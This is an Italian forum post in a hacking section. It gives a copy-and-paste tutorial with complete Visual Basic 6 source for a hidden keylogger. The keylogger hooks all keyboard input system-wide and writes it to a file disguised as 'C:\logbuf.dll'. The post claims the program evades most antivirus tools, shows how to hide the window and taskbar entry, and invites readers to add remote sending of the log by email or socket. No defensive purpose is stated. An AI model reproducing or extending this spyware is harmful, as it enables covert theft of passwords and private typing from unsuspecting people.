Navicom Forum
Vuoi reagire a questo messaggio? Crea un account in pochi click o accedi per continuare.


 
IndiceUltime immaginiCercaRegistratiAccedi

Condividi | 
 

 Semplice KEYLOGGER in VB 6.0

Visualizza l'argomento precedente Visualizza l'argomento successivo Andare in basso 
AutoreMessaggio
Valerio
Amministratore
Amministratore
Valerio

Messaggi Messaggi : 107
Crediti Crediti : 25118
Registrato Dal Registrato Dal : 17.10.10
Età Età : 27
Località Località : Ardea

Semplice KEYLOGGER in VB 6.0  _
MessaggioTitolo: Semplice KEYLOGGER in VB 6.0    Semplice KEYLOGGER in VB 6.0  EmptyDom Ott 24, 2010 6:24 pm

Semplice KEYLOGGER in VB 6.0  28u33bs
Guida e sorgenti: 4815162342 (4815162342)
Livello di difficoltà: abbastanza facile (si tratta di copiare e incollare, dudez!)


Creare un keylogger che non sia rilevato dagli antivirus (o almeno dalla maggior parte di essi) è una procedura relativamente semplice su windows.

Attraverso i cosidetti "HOOKS" (ganci) è infatti possibile "agganciare" la tastiera e/o il mouse ad una qualsiasi applicazione, tramite una chiamata alla funzione di windows "SetWindowsHookEx" che su trova nella libreria "user32".
Agganciando la tastiera del sistema alla nostra applicazione, saremo in grado di intercettare tutti i tasti che vengono premuti: tradurremo ogni "keycode" numerico in un carattere ASCII e infine scriveremo il tutto in un file di testo.
Gli hooks sono fondamentali poiché consentono di intercettare i tasti premuti INDIPENDENTEMENTE da quale sia la finestra attiva: per cui il programma sarà in grado di loggare tutto ciò che viene scritto sulla tastiera, che provenga dal browser, o dal blocco note, da word, o anche da un gioco in fullscreen directx.

La guida mostrerà come utilizzare gli hooks di windows per creare un semplice keylogger locale in Visual Basic 6.0 (le chiamate alle funzioni DLL verranno gestite tramite API - Application Programming Interface).
Non è presente nessuna routine per l'invio remoto del log: il programma semplicemente scrive tutti i tasti loggati nel file "C:\logbuf.dll". Sentitevi liberi di modificarlo, implementando routine per l'invio remoto del log (tramite email o tramite socket), o qualsiasi altra cosa vi passi per la mente.

Il programma funziona su Windows XP, Vista e Seven (su Vista e Seven, ovviamente, occorrono i privilegi di amministratore).


Segue: "LA PROCEDURA".



LA PROCEDURA:

Avviate L'IDE del VB6.

Create un nuovo progetto EXE Standard, quindi "salvate con nome" il progetto in qualche cartella.


Per prima cosa, visto che il programma dovrà scrivere su file i tasti intercettati, andiamo a specificare un riferimento del progetto.

Per fare questo:

- cliccate il menu "PROGETTO" e cliccate su "RIFERIMENTI"
- si aprirà una finestra con un elenco
- scendete fino alla W e cercate "Windows Script Host Object Model"
- spuntatetlo e cliccate OK

In questo modo saremo in grado di usare le funzionalità del File System Object, che ci permette di manipolare i files su disco.



Ora, siccome dovremo dichiarare parecchie funzioni, andiamo a inserire un nuovo modulo nel progetto, che conterrà tutte le dichiaraizoni e le subroutine pubbliche.

Per fare questo:

- cliccate il menu "PROGETTO" e cliccate su "INSERISCI MODULO" (N.B.: non confondetevi con "modulo di classe", è una cosa diversa)
- si aprirà una finestra che mostra un oggetto "MODULO" evidenziato
- cliccate il bottone "APRI"

E' stato inserito un modulo nel progetto, chiamato "Module1" (lo potete vedere sulla destra, sotto al form).

Salvate il progetto: vi verrà chiesto di salvare con nome il nuovo modulo appena creato. Cliccate "salva".



Ora possiamo inserire i codici relativi al modulo e al form.



Partiamo dal modulo.

Cliccate 2 volte sul "Module1" appena creato (sulla destra, sotto l'icona del form1).

Si aprirà una pagina bianca vuota. Incollateci dentro questo codice:



CODICE
Codice PHP:
Public fso As New FileSystemObject
Public buff As String
Public Hook As Long
Public ofil

Public Const MAX_PATH As Integer = 260
Public Const WH_KEYBOARD_LL = 13
Private Const HC_ACTION = 0&
Private Const
WM_KEYDOWN = &H100
Private Const WM_KEYUP = &H101
Private Const WM_SYSKEYDOWN = &H104
Private Const WM_SYSKEYUP = &H105
Public Const LLKHF_ALTDOWN = &H20
Public Const VK_BACK = &H8
Public Const VK_CONTROL = &H11
Public Const VK_DELETE = &H2E
Public Const VK_DOWN = &H28
Public Const VK_END = &H23
Public Const VK_ESCAPE = &H1B
Public Const VK_HOME = &H24
Public Const VK_INSERT = &H2D
Public Const VK_LCONTROL = &HA2
Public Const VK_LEFT = &H25
Public Const VK_LSHIFT = &HA0
Public Const VK_RCONTROL = &HA3
Public Const VK_RIGHT = &H27
Public Const VK_RSHIFT = &HA1
Public Const VK_SNAPSHOT = &H2C
Public Const VK_SPACE = &H20
Public Const VK_TAB = &H9
Public Const VK_UP = &H26

Public Type SHITEMID
cb
As Long
abID
As Byte
End Type

Public Type ITEMIDLIST
mkid
As SHITEMID
End Type

Private Type KeyboardBytes
kbByte
(0 To 255) As Byte
End Type

Private Type KBDLLHOOKSTRUCT
vkCode
As Long
scanCode
As Long
flags
As Long
time
As Long
dwExtraInfo
As Long
End Type

Public Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Public Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Function ToAsciiEx Lib "user32" (ByVal uVirtKey As Long, ByVal uScanCode As Long, kbArray As KeyboardBytes, lpChar As Integer, ByVal uFlags As Long, ByVal dwhkl As Long) As Long
Public Declare Function ToUnicode Lib "user32" (ByVal wVirtKey As Long, ByVal wScanCode As Long, kbArray As KeyboardBytes, ByVal pwszBuff As String, ByVal cchBuff As Long, ByVal wFlags As Long) As Long
Public Declare Function GetKeyboardState Lib "user32" (kbArray As KeyboardBytes) As Long
Public Declare Function GetKeyboardLayout Lib "user32" (ByVal dwLayout As Long) As Long
Public Declare Function GetKeyNameText Lib "user32" Alias "GetKeyNameTextA" (ByVal lParam As Long, ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDest As Any, pSrc As Any, ByVal ByteLen As Long)

Private
kbstruct As KBDLLHOOKSTRUCT

Public Function KeyboardProc(ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
If nCode = HC_ACTION Then
If wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN Then
CopyMemory kbstruct
, ByVal lParam, LenB(kbstruct)

kfl = 0
conve
= ""

If (kbstruct.flags And LLKHF_ALTDOWN) Then
conve
= "[ALT]"
End If
If (
kbstruct.vkCode = VK_RSHIFT) Then
conve
= "[RSHIFT]"
kfl = 1
End
If
If (
kbstruct.vkCode = VK_LSHIFT) Then
conve
= "[LSHIFT]"
kfl = 1
End
If
If (
kbstruct.vkCode = VK_UP) Then
conve
= "[UP]"
kfl = 1
End
If
If (
kbstruct.vkCode = VK_TAB) Then
conve
= "[TAB]"
kfl = 1
End
If
If (
kbstruct.vkCode = VK_SPACE) Then
conve
= "[SPACE]"
kfl = 1
End
If
If (
kbstruct.vkCode = VK_SNAPSHOT) Then
conve
= "[SNAPSHOT]"
kfl = 1
End
If
If (
kbstruct.vkCode = VK_LEFT) Then
conve
= "[LEFT]"
kfl = 1
End
If
If (
kbstruct.vkCode = VK_RIGHT) Then
conve
= "[RIGHT]"
kfl = 1
End
If
If (
kbstruct.vkCode = VK_DOWN) Then
conve
= "[DOWN]"
kfl = 1
End
If
If (
kbstruct.vkCode = VK_DELETE) Then
conve
= "[CANC]"
kfl = 1
End
If
If (
kbstruct.vkCode = VK_BACK) Then
conve
= "[BACKSPACE]"
kfl = 1
End
If
If (
kbstruct.vkCode = VK_LCONTROL) Then
conve
= "[LCONTROL]"
kfl = 1
End
If
If (
kbstruct.vkCode = VK_RCONTROL) Then
conve
= "[RCONTROL]"
kfl = 1
End
If
If (
kbstruct.vkCode = VK_HOME) Then
conve
= "[HOME]"
kfl = 1
End
If
If (
kbstruct.vkCode = VK_END) Then
conve
= "[END]"
kfl = 1
End
If
If (
kbstruct.vkCode = VK_INSERT) Then
conve
= "[INS]"
kfl = 1
End
If
If (
kbstruct.vkCode = VK_ESCAPE) Then
conve
= "[ESC]"
kfl = 1
End
If
If
kfl = 0 Then
conve
= Chr(kbstruct.vkCode)
End If

Call Form1.logga(conve)

KeyboardProc = CallNextHookEx(Hook, nCode, wParam, lParam)
End If
End If
End Function


E ora il codice relativo al FORM1.

Cliccate col tasto destro l'icona del Form1 (sulla destra) e scegliete "VISUALIZZA CODICE".

Si aprirà una pagina bianca vuota. Incollateci questo codice:


CODICE
Codice PHP:
Private Sub Form_Load()
Set ofil = fso.OpenTextFile("C:\logbuf.dll", 8, True)
Hook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KeyboardProc, App.hInstance, ByVal 0&)
End Sub

Private Sub Form_Terminate()
unhook = UnhookWindowsHookEx(Hook)
ofil.Close
End Sub

Private Sub Form_Unload(Cancel As Integer)
unhook = UnhookWindowsHookEx(Hook)
ofil.Close
End Sub

Public Sub logga(x)
On Error Resume Next
Dim towr
As String
Dim logg
As TextStream
buff
= buff & x
If Len(buff) > 100 Then
xli
= Split(buff, Chr(13))
buff = ""
For dsl = 0 To UBound(xli)
ofil.WriteLine xli(dsl) & vbCrLf
Next dsl
End
If
End Sub


Ora, se volete nascondere la finestra, in modo che il programma non visualizzi nulla, cliccate sull'icona del Form1 ed editate le proprietà nella finestra subito sotto:
Codice PHP:
BorderStyle: 3 - Fixed Dialog
ShowInTaskbar
: False
Visible
: False


Salvate tutto, andate sul menu "FILE" e cliccate "Crea Progetto1.exe".

Si aprirà una finestra: se volete cambiate il nome all'EXE. Infine cliccate OK.

Il file eseguibile è stato creato nella cartella del progetto.

Provatelo, scrivete qualche frase a casaccio (notate che il programma scriverà il buffer su disco ogni 100 caratteri, per cui scrivete qualcosa di corposo).

Poi aprite il file "C:\logbuf.dll" con il blocco note e controllate il contenuto

Per terminare il programma usate la task manager.


Preciso che la traduzione da codice carattere a carattere ASCII non è perfetta, pertanto tenete presente che:

- le lettere dell'alfabeto compaiono SEMPRE IN MAIUSCOLO, a prescindere da come sono state premute;
- i tasti speciali tipo DELETE, CANC, SPAZIO, SHIFT, CTRL, etc, vengono rappresentati come [NOMETASTO];
- i simboli sono moooolto sballati;
- i numeri che si trovano in fila orizzontale sulla tastiera (parte sinistra) vengono scritti come numeri;
- i numeri che si trovano nel tastierino numerico (parte destra) vengono scritti come lettere dell'alfabeto minuscole, secondo questo schema:
Codice PHP:
0 = a
1
= b
2
= c
3
= d
4
= e
5
= f
6
= g
7
= h
8
= i
9
= j


divertitevi
Torna in alto Andare in basso
https://navicom-forum.forumattivo.com
 

Semplice KEYLOGGER in VB 6.0

Visualizza l'argomento precedente Visualizza l'argomento successivo Torna in alto 
Pagina 1 di 1

Permessi in questa sezione del forum:Non puoi rispondere agli argomenti in questo forum.
Navicom Forum :: Programmazione In Generale :: Hacking-
Vai verso:  
Creare un forum | ©phpBB | Forum gratis di aiuto | Segnala un abuso | Ultime discussioni